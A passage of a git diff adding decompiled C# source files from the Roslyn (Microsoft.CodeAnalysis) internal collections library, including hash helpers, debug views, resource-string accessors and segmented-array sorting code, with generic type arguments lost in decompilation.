System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal sealed class DictionaryValueCollectionDebugView +{ + private readonly ICollection _collection; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public TValue[] Items + { + get + { + TValue[] array = new TValue[_collection.Count]; + _collection.CopyTo(array, 0); + return array; + } + } + + public DictionaryValueCollectionDebugView(ICollection collection) + { + _collection = collection ?? throw new ArgumentNullException("collection"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionArgument.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionArgument.cs new file mode 100644 index 0000000..8ff7509 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionArgument.cs @@ -0,0 +1,24 @@ +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal enum ExceptionArgument +{ + dictionary, + array, + info, + key, + value, + startIndex, + index, + capacity, + collection, + item, + converter, + match, + count, + action, + comparison, + source, + length, + destinationArray, + other +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionResource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionResource.cs new file mode 100644 index 0000000..217dd27 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ExceptionResource.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal enum ExceptionResource +{ + ArgumentOutOfRange_Index, + ArgumentOutOfRange_Count, + Arg_ArrayPlusOffTooSmall, + Arg_RankMultiDimNotSupported, + Arg_NonZeroLowerBound, + ArgumentOutOfRange_ListInsert, + ArgumentOutOfRange_NeedNonNegNum, + ArgumentOutOfRange_SmallCapacity, + Argument_InvalidOffLen, + ArgumentOutOfRange_BiggerThanCollection, + NotSupported_KeyCollectionSet, + NotSupported_ValueCollectionSet, + InvalidOperation_IComparerFailed +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/HashHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/HashHelpers.cs new file mode 100644 index 0000000..7531450 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/HashHelpers.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class HashHelpers +{ + public const int MaxPrimeArrayLength = 2146435069; + + public const int HashPrime = 101; + + private static readonly ImmutableArray s_primes = ImmutableArray.Create(new int[72] + { + 3, 7, 11, 17, 23, 29, 37, 47, 59, 71, + 89, 107, 131, 163, 197, 239, 293, 353, 431, 521, + 631, 761, 919, 1103, 1327, 1597, 1931, 2333, 2801, 3371, + 4049, 4861, 5839, 7013, 8419, 10103, 12143, 14591, 17519, 21023, + 25229, 30293, 36353, 43627, 52361, 62851, 75431, 90523, 108631, 130363, + 156437, 187751, 225307, 270371, 324449, 389357, 467237, 560689, 672827, 807403, + 968897, 1162687, 1395263, 1674319, 2009191, 2411033, 2893249, 3471899, 4166287, 4999559, + 5999471, 7199369 + }); + + public static bool IsPrime(int candidate) + { + if ((candidate & 1) != 0) + { + int num = (int)Math.Sqrt(candidate); + for (int i = 3; i <= num; i += 2) + { + if (candidate % i == 0) + { + return false; + } + } + return true; + } + return candidate == 2; + } + + public static int GetPrime(int min) + { + if (min < 0) + { + throw new ArgumentException(SR.Arg_HTCapacityOverflow); + } + ImmutableArray.Enumerator enumerator = s_primes.GetEnumerator(); + while (enumerator.MoveNext()) + { + int current = enumerator.Current; + if (current >= min) + { + return current; + } + } + for (int i = min | 1; i < int.MaxValue; i += 2) + { + if (IsPrime(i) && (i - 1) % 101 != 0) + { + return i; + } + } + return min; + } + + public static int ExpandPrime(int oldSize) + { + int num = 2 * oldSize; + if ((uint)num > 2146435069u && 2146435069 > oldSize) + { + return 2146435069; + } + return GetPrime(num); + } + + public static ulong GetFastModMultiplier(uint divisor) + { + return ulong.MaxValue / (ulong)divisor + 1; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static uint FastMod(uint value, uint divisor, ulong multiplier) + { + return (uint)(((multiplier * value >> 32) + 1) * divisor >> 32); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionCalls.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionCalls.cs new file mode 100644 index 0000000..e125f59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionCalls.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections; +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class ICollectionCalls +{ + public static bool IsSynchronized(ref TCollection collection) where TCollection : ICollection + { + return collection.IsSynchronized; + } + + public static void CopyTo(ref TCollection collection, Array array, int index) where TCollection : ICollection + { + collection.CopyTo(array, index); + } +} +internal static class ICollectionCalls +{ + public static bool IsReadOnly(ref TCollection collection) where TCollection : ICollection + { + return collection.IsReadOnly; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionDebugView.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionDebugView.cs new file mode 100644 index 0000000..4c38ab3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/ICollectionDebugView.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal sealed class ICollectionDebugView +{ + private readonly ICollection _collection; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Items + { + get + { + T[] array = new T[_collection.Count]; + _collection.CopyTo(array, 0); + return array; + } + } + + public ICollectionDebugView(ICollection collection) + { + _collection = collection ?? throw new ArgumentNullException("collection"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IDictionaryDebugView.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IDictionaryDebugView.cs new file mode 100644 index 0000000..4fdda35 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IDictionaryDebugView.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal sealed class IDictionaryDebugView where K : notnull +{ + private readonly IDictionary _dict; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public KeyValuePair[] Items + { + get + { + KeyValuePair[] array = new KeyValuePair[_dict.Count]; + _dict.CopyTo(array, 0); + return array; + } + } + + public IDictionaryDebugView(IDictionary dictionary) + { + _dict = dictionary ?? throw new ArgumentNullException("dictionary"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IEnumerableCalls.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IEnumerableCalls.cs new file mode 100644 index 0000000..080cd52 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IEnumerableCalls.cs @@ -0,0 +1,19 @@ +using System.Collections; +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class IEnumerableCalls +{ + public static IEnumerator GetEnumerator(ref TEnumerable enumerable) where TEnumerable : IEnumerable + { + return enumerable.GetEnumerator(); + } +} +internal static class IEnumerableCalls +{ + public static IEnumerator GetEnumerator(ref TEnumerable enumerable) where TEnumerable : IEnumerable + { + return enumerable.GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IListCalls.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IListCalls.cs new file mode 100644 index 0000000..93389f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/IListCalls.cs @@ -0,0 +1,51 @@ +using System.Collections; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class IListCalls +{ + public static object? GetItem(ref TList list, int index) where TList : IList + { + return list[index]; + } + + public static void SetItem(ref TList list, int index, object? value) where TList : IList + { + list[index] = value; + } + + public static bool IsFixedSize(ref TList list) where TList : IList + { + return list.IsFixedSize; + } + + public static bool IsReadOnly(ref TList list) where TList : IList + { + return list.IsReadOnly; + } + + public static int Add(ref TList list, object? value) where TList : IList + { + return list.Add(value); + } + + public static bool Contains(ref TList list, object? value) where TList : IList + { + return list.Contains(value); + } + + public static int IndexOf(ref TList list, object? value) where TList : IList + { + return list.IndexOf(value); + } + + public static void Insert(ref TList list, int index, object? value) where TList : IList + { + list.Insert(index, value); + } + + public static void Remove(ref TList list, object? value) where TList : IList + { + list.Remove(value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/InsertionBehavior.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/InsertionBehavior.cs new file mode 100644 index 0000000..c1aa6dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/InsertionBehavior.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal enum InsertionBehavior : byte +{ + None, + OverwriteExisting, + ThrowOnExisting +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/RoslynUnsafe.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/RoslynUnsafe.cs new file mode 100644 index 0000000..1d8ad8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/RoslynUnsafe.cs @@ -0,0 +1,18 @@ +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class RoslynUnsafe +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static ref T NullRef() + { + return ref Unsafe.AsRef(null); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe static bool IsNullRef(ref T source) + { + return Unsafe.AsPointer(in source) == null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SR.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SR.cs new file mode 100644 index 0000000..b449d81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SR.cs @@ -0,0 +1,79 @@ +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Internal; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class SR +{ + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(Strings))); + + internal static CultureInfo Culture { get; set; } + + internal static string Arg_ArrayPlusOffTooSmall => GetResourceString("Arg_ArrayPlusOffTooSmall"); + + internal static string Arg_HTCapacityOverflow => GetResourceString("Arg_HTCapacityOverflow"); + + internal static string Arg_KeyNotFoundWithKey => GetResourceString("Arg_KeyNotFoundWithKey"); + + internal static string Arg_LongerThanDestArray => GetResourceString("Arg_LongerThanDestArray"); + + internal static string Arg_LongerThanSrcArray => GetResourceString("Arg_LongerThanSrcArray"); + + internal static string Arg_NonZeroLowerBound => GetResourceString("Arg_NonZeroLowerBound"); + + internal static string Arg_RankMultiDimNotSupported => GetResourceString("Arg_RankMultiDimNotSupported"); + + internal static string Arg_WrongType => GetResourceString("Arg_WrongType"); + + internal static string Argument_AddingDuplicateWithKey => GetResourceString("Argument_AddingDuplicateWithKey"); + + internal static string Argument_InvalidArrayType => GetResourceString("Argument_InvalidArrayType"); + + internal static string Argument_InvalidOffLen => GetResourceString("Argument_InvalidOffLen"); + + internal static string ArgumentOutOfRange_ArrayLB => GetResourceString("ArgumentOutOfRange_ArrayLB"); + + internal static string ArgumentOutOfRange_BiggerThanCollection => GetResourceString("ArgumentOutOfRange_BiggerThanCollection"); + + internal static string ArgumentOutOfRange_Count => GetResourceString("ArgumentOutOfRange_Count"); + + internal static string ArgumentOutOfRange_Index => GetResourceString("ArgumentOutOfRange_Index"); + + internal static string ArgumentOutOfRange_ListInsert => GetResourceString("ArgumentOutOfRange_ListInsert"); + + internal static string ArgumentOutOfRange_NeedNonNegNum => GetResourceString("ArgumentOutOfRange_NeedNonNegNum"); + + internal static string ArgumentOutOfRange_SmallCapacity => GetResourceString("ArgumentOutOfRange_SmallCapacity"); + + internal static string InvalidOperation_ConcurrentOperationsNotSupported => GetResourceString("InvalidOperation_ConcurrentOperationsNotSupported"); + + internal static string InvalidOperation_EnumFailedVersion => GetResourceString("InvalidOperation_EnumFailedVersion"); + + internal static string InvalidOperation_EnumOpCantHappen => GetResourceString("InvalidOperation_EnumOpCantHappen"); + + internal static string InvalidOperation_IComparerFailed => GetResourceString("InvalidOperation_IComparerFailed"); + + internal static string NotSupported_KeyCollectionSet => GetResourceString("NotSupported_KeyCollectionSet"); + + internal static string NotSupported_ValueCollectionSet => GetResourceString("NotSupported_ValueCollectionSet"); + + internal static string Rank_MustMatch => GetResourceString("Rank_MustMatch"); + + internal static string NotSupported_FixedSizeCollection => GetResourceString("NotSupported_FixedSizeCollection"); + + internal static string ArgumentException_OtherNotArrayOfCorrectLength => GetResourceString("ArgumentException_OtherNotArrayOfCorrectLength"); + + internal static string Arg_BogusIComparer => GetResourceString("Arg_BogusIComparer"); + + internal static string CannotFindOldValue => GetResourceString("CannotFindOldValue"); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static string GetResourceString(string resourceKey, string defaultValue = null) + { + return ResourceManager.GetString(resourceKey, Culture); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArrayHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArrayHelper.cs new file mode 100644 index 0000000..b64a2df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArrayHelper.cs @@ -0,0 +1,116 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class SegmentedArrayHelper +{ + internal static class TestAccessor + { + public static int CalculateSegmentSize(int elementSize) + { + return SegmentedArrayHelper.CalculateSegmentSize(elementSize); + } + + public static int CalculateSegmentShift(int segmentSize) + { + return SegmentedArrayHelper.CalculateSegmentShift(segmentSize); + } + + public static int CalculateOffsetMask(int segmentSize) + { + return SegmentedArrayHelper.CalculateOffsetMask(segmentSize); + } + } + + private static class FallbackSegmentHelper + { + public static readonly int SegmentSize = CalculateSegmentSize(Unsafe.SizeOf()); + + public static readonly int SegmentShift = CalculateSegmentShift(SegmentSize); + + public static readonly int OffsetMask = CalculateOffsetMask(SegmentSize); + } + + internal const int IntrosortSizeThreshold = 16; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static int GetSegmentSize() + { + return Unsafe.SizeOf() switch + { + 4 => 16384, + 8 => 8192, + 12 => 4096, + 16 => 4096, + 24 => 2048, + 28 => 2048, + 32 => 2048, + 40 => 2048, + _ => FallbackSegmentHelper.SegmentSize, + }; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static int GetSegmentShift() + { + return Unsafe.SizeOf() switch + { + 4 => 14, + 8 => 13, + 12 => 12, + 16 => 12, + 24 => 11, + 28 => 11, + 32 => 11, + 40 => 11, + _ => FallbackSegmentHelper.SegmentShift, + }; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static int GetOffsetMask() + { + return Unsafe.SizeOf() switch + { + 4 => 16383, + 8 => 8191, + 12 => 4095, + 16 => 4095, + 24 => 2047, + 28 => 2047, + 32 => 2047, + 40 => 2047, + _ => FallbackSegmentHelper.OffsetMask, + }; + } + + private static int CalculateSegmentSize(int elementSize) + { + int num = 2; + while (ArraySize(elementSize, num << 1) < 85000) + { + num <<= 1; + } + return num; + static int ArraySize(int num2, int segmentSize) + { + return 2 * IntPtr.Size + 8 + num2 * segmentSize; + } + } + + private static int CalculateSegmentShift(int segmentSize) + { + int num = 0; + while ((segmentSize >>= 1) != 0) + { + num++; + } + return num; + } + + private static int CalculateOffsetMask(int segmentSize) + { + return segmentSize - 1; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySegment.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySegment.cs new file mode 100644 index 0000000..e0d90a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySegment.cs @@ -0,0 +1,47 @@ +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal readonly struct SegmentedArraySegment +{ + public SegmentedArray Array { get; } + + public int Start { get; } + + public int Length { get; } + + public ref T this[int index] + { + get + { + if ((uint)index >= (uint)Length) + { + ThrowHelper.ThrowIndexOutOfRangeException(); + } + return ref Array[index + Start]; + } + } + + public SegmentedArraySegment(SegmentedArray array, int start, int length) + { + Array = array; + Start = start; + Length = length; + } + + public SegmentedArraySegment Slice(int start) + { + if ((uint)start >= (uint)Length) + { + ThrowHelper.ThrowArgumentOutOfRangeException(); + } + return new SegmentedArraySegment(Array, Start + start, Length - start); + } + + public SegmentedArraySegment Slice(int start, int length) + { + if ((ulong)((long)(uint)start + (long)(uint)length) > (ulong)(uint)Length) + { + ThrowHelper.ThrowArgumentOutOfRangeException(); + } + return new SegmentedArraySegment(Array, Start + start, length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortHelper.cs new file mode 100644 index 0000000..5c7a4b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortHelper.cs @@ -0,0 +1,399 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class SegmentedArraySortHelper +{ + public static void Sort(SegmentedArraySegment keys, IComparer? comparer) + { + try + { + if (comparer == null) + { + comparer = Comparer.Default; + } + IntrospectiveSort(keys, comparer.Compare); + } + catch (IndexOutOfRangeException) + { + ThrowHelper.ThrowArgumentException_BadComparer(comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + } + } + + public static int BinarySearch(SegmentedArray array, int index, int length, T value, IComparer? comparer) + { + try + { + if (comparer == null) + { + comparer = Comparer.Default; + } + return InternalBinarySearch(array, index, length, value, comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + return 0; + } + } + + internal static void Sort(SegmentedArraySegment keys, Comparison comparer) + { + try + { + IntrospectiveSort(keys, comparer); + } + catch (IndexOutOfRangeException) + { + ThrowHelper.ThrowArgumentException_BadComparer(comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + } + } + + internal static int InternalBinarySearch(SegmentedArray array, int index, int length, T value, IComparer comparer) + { + int num = index; + int num2 = index + length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + int num4 = comparer.Compare(array[num3], value); + if (num4 == 0) + { + return num3; + } + if (num4 < 0) + { + num = num3 + 1; + } + else + { + num2 = num3 - 1; + } + } + return ~num; + } + + private static void SwapIfGreater(SegmentedArraySegment keys, Comparison comparer, int i, int j) + { + if (comparer(keys[i], keys[j]) > 0) + { + T val = keys[i]; + keys[i] = keys[j]; + keys[j] = val; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void Swap(SegmentedArraySegment a, int i, int j) + { + T val = a[i]; + a[i] = a[j]; + a[j] = val; + } + + internal static void IntrospectiveSort(SegmentedArraySegment keys, Comparison comparer) + { + if (keys.Length > 1) + { + IntroSort(keys, 2 * (SegmentedArraySortUtils.Log2((uint)keys.Length) + 1), comparer); + } + } + + private static void IntroSort(SegmentedArraySegment keys, int depthLimit, Comparison comparer) + { + int num = keys.Length; + while (num > 1) + { + if (num <= 16) + { + switch (num) + { + case 2: + SwapIfGreater(keys, comparer, 0, 1); + break; + case 3: + SwapIfGreater(keys, comparer, 0, 1); + SwapIfGreater(keys, comparer, 0, 2); + SwapIfGreater(keys, comparer, 1, 2); + break; + default: + InsertionSort(keys.Slice(0, num), comparer); + break; + } + break; + } + if (depthLimit == 0) + { + HeapSort(keys.Slice(0, num), comparer); + break; + } + depthLimit--; + int num2 = PickPivotAndPartition(keys.Slice(0, num), comparer); + IntroSort(keys.Slice(num2 + 1, num - (num2 + 1)), depthLimit, comparer); + num = num2; + } + } + + private static int PickPivotAndPartition(SegmentedArraySegment keys, Comparison comparer) + { + int num = keys.Length - 1; + int num2 = num >> 1; + SwapIfGreater(keys, comparer, 0, num2); + SwapIfGreater(keys, comparer, 0, num); + SwapIfGreater(keys, comparer, num2, num); + T val = keys[num2]; + Swap(keys, num2, num - 1); + int num3 = 0; + int num4 = num - 1; + while (num3 < num4) + { + while (comparer(keys[++num3], val) < 0) + { + } + while (comparer(val, keys[--num4]) < 0) + { + } + if (num3 >= num4) + { + break; + } + Swap(keys, num3, num4); + } + if (num3 != num - 1) + { + Swap(keys, num3, num - 1); + } + return num3; + } + + private static void HeapSort(SegmentedArraySegment keys, Comparison comparer) + { + int length = keys.Length; + for (int num = length >> 1; num >= 1; num--) + { + DownHeap(keys, num, length, 0, comparer); + } + for (int num2 = length; num2 > 1; num2--) + { + Swap(keys, 0, num2 - 1); + DownHeap(keys, 1, num2 - 1, 0, comparer); + } + } + + private static void DownHeap(SegmentedArraySegment keys, int i, int n, int lo, Comparison comparer) + { + T val = keys[lo + i - 1]; + while (i <= n >> 1) + { + int num = 2 * i; + if (num < n && comparer(keys[lo + num - 1], keys[lo + num]) < 0) + { + num++; + } + if (comparer(val, keys[lo + num - 1]) >= 0) + { + break; + } + keys[lo + i - 1] = keys[lo + num - 1]; + i = num; + } + keys[lo + i - 1] = val; + } + + private static void InsertionSort(SegmentedArraySegment keys, Comparison comparer) + { + for (int i = 0; i < keys.Length - 1; i++) + { + T val = keys[i + 1]; + int num = i; + while (num >= 0 && comparer(val, keys[num]) < 0) + { + keys[num + 1] = keys[num]; + num--; + } + keys[num + 1] = val; + } + } +} +internal static class SegmentedArraySortHelper +{ + public static void Sort(SegmentedArraySegment keys, Span values, IComparer? comparer) + { + try + { + IntrospectiveSort(keys, values, comparer ?? Comparer.Default); + } + catch (IndexOutOfRangeException) + { + ThrowHelper.ThrowArgumentException_BadComparer(comparer); + } + catch (Exception e) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.InvalidOperation_IComparerFailed, e); + } + } + + private static void SwapIfGreaterWithValues(SegmentedArraySegment keys, Span values, IComparer comparer, int i, int j) + { + if (comparer.Compare(keys[i], keys[j]) > 0) + { + TKey val = keys[i]; + keys[i] = keys[j]; + keys[j] = val; + TValue val2 = values[i]; + values[i] = values[j]; + values[j] = val2; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void Swap(SegmentedArraySegment keys, Span values, int i, int j) + { + TKey val = keys[i]; + keys[i] = keys[j]; + keys[j] = val; + TValue val2 = values[i]; + values[i] = values[j]; + values[j] = val2; + } + + internal static void IntrospectiveSort(SegmentedArraySegment keys, Span values, IComparer comparer) + { + if (keys.Length > 1) + { + IntroSort(keys, values, 2 * (SegmentedArraySortUtils.Log2((uint)keys.Length) + 1), comparer); + } + } + + private static void IntroSort(SegmentedArraySegment keys, Span values, int depthLimit, IComparer comparer) + { + int num = keys.Length; + while (num > 1) + { + if (num <= 16) + { + switch (num) + { + case 2: + SwapIfGreaterWithValues(keys, values, comparer, 0, 1); + break; + case 3: + SwapIfGreaterWithValues(keys, values, comparer, 0, 1); + SwapIfGreaterWithValues(keys, values, comparer, 0, 2); + SwapIfGreaterWithValues(keys, values, comparer, 1, 2); + break; + default: + InsertionSort(keys.Slice(0, num), values.Slice(0, num), comparer); + break; + } + break; + } + if (depthLimit == 0) + { + HeapSort(keys.Slice(0, num), values.Slice(0, num), comparer); + break; + } + depthLimit--; + int num2 = PickPivotAndPartition(keys.Slice(0, num), values.Slice(0, num), comparer); + IntroSort(keys.Slice(num2 + 1, num - (num2 + 1)), values.Slice(num2 + 1, num - (num2 + 1)), depthLimit, comparer); + num = num2; + } + } + + private static int PickPivotAndPartition(SegmentedArraySegment keys, Span values, IComparer comparer) + { + int num = keys.Length - 1; + int num2 = num >> 1; + SwapIfGreaterWithValues(keys, values, comparer, 0, num2); + SwapIfGreaterWithValues(keys, values, comparer, 0, num); + SwapIfGreaterWithValues(keys, values, comparer, num2, num); + TKey val = keys[num2]; + Swap(keys, values, num2, num - 1); + int num3 = 0; + int num4 = num - 1; + while (num3 < num4) + { + while (comparer.Compare(keys[++num3], val) < 0) + { + } + while (comparer.Compare(val, keys[--num4]) < 0) + { + } + if (num3 >= num4) + { + break; + } + Swap(keys, values, num3, num4); + } + if (num3 != num - 1) + { + Swap(keys, values, num3, num - 1); + } + return num3; + } + + private static void HeapSort(SegmentedArraySegment keys, Span values, IComparer comparer) + { + int length = keys.Length; + for (int num = length >> 1; num >= 1; num--) + { + DownHeap(keys, values, num, length, 0, comparer); + } + for (int num2 = length; num2 > 1; num2--) + { + Swap(keys, values, 0, num2 - 1); + DownHeap(keys, values, 1, num2 - 1, 0, comparer); + } + } + + private static void DownHeap(SegmentedArraySegment keys, Span values, int i, int n, int lo, IComparer comparer) + { + TKey val = keys[lo + i - 1]; + TValue val2 = values[lo + i - 1]; + while (i <= n >> 1) + { + int num = 2 * i; + if (num < n && comparer.Compare(keys[lo + num - 1], keys[lo + num]) < 0) + { + num++; + } + if (comparer.Compare(val, keys[lo + num - 1]) >= 0) + { + break; + } + keys[lo + i - 1] = keys[lo + num - 1]; + values[lo + i - 1] = values[lo + num - 1]; + i = num; + } + keys[lo + i - 1] = val; + values[lo + i - 1] = val2; + } + + private static void InsertionSort(SegmentedArraySegment keys, Span values, IComparer comparer) + { + for (int i = 0; i < keys.Length - 1; i++) + { + TKey val = keys[i + 1]; + TValue val2 = values[i + 1]; + int num = i; + while (num >= 0 && comparer.Compare(val, keys[num]) < 0) + { + keys[num + 1] = keys[num]; + values[num + 1] = values[num]; + num--; + } + keys[num + 1] = val; + values[num + 1] = val2; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortUtils.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortUtils.cs new file mode 100644 index 0000000..5cb960a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedArraySortUtils.cs @@ -0,0 +1,53 @@ +using System; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis.Collections.Internal; + +internal static class SegmentedArraySortUtils +{ + private static ReadOnlySpan Log2DeBruijn => new byte[32] + { + 0, 9, 1, 10, 13, 21, 2, 29, 11, 14, + 16, 18, 22, 25, 3, 30, 8, 12, 20, 28, + 15, 17, 24, 7, 19, 27, 23, 6, 26, 5, + 4, 31 + }; + + public static int MoveNansToFront(SegmentedArraySegment keys, Span values) where TKey : notnull + { + int num = 0; + for (int i = 0; i < keys.Length; i++) + { + if ((typeof(TKey) == typeof(double) && double.IsNaN((double)(object)keys[i])) || (typeof(TKey) == typeof(float) && float.IsNaN((float)(object)keys[i]))) + { + TKey val = keys[num]; + keys[num] = keys[i]; + keys[i] = val; + if ((uint)i < (uint)values.Length) + { + TValue val2 = values[num]; + values[num] = values[i]; + values[i] = val2; + } + num++; + } + } + return num; + } + + public static int Log2(uint value) + { + return Log2SoftwareFallback(value); + } + + private static int Log2SoftwareFallback(uint value) + { + value |= value >> 1; + value |= value >> 2; + value |= value >> 4; + value |= value >> 8; + value |= value >> 16; + return Unsafe.AddByteOffset(ref MemoryMarshal.GetReference(Log2DeBruijn), (IntPtr)(int)(value * 130329821 >> 27)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedGenericArraySortHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections.Internal/SegmentedGenericArraySortHelper.cs new file mode 100644 index 0000000..9a8abd7 --- /dev/null +++ 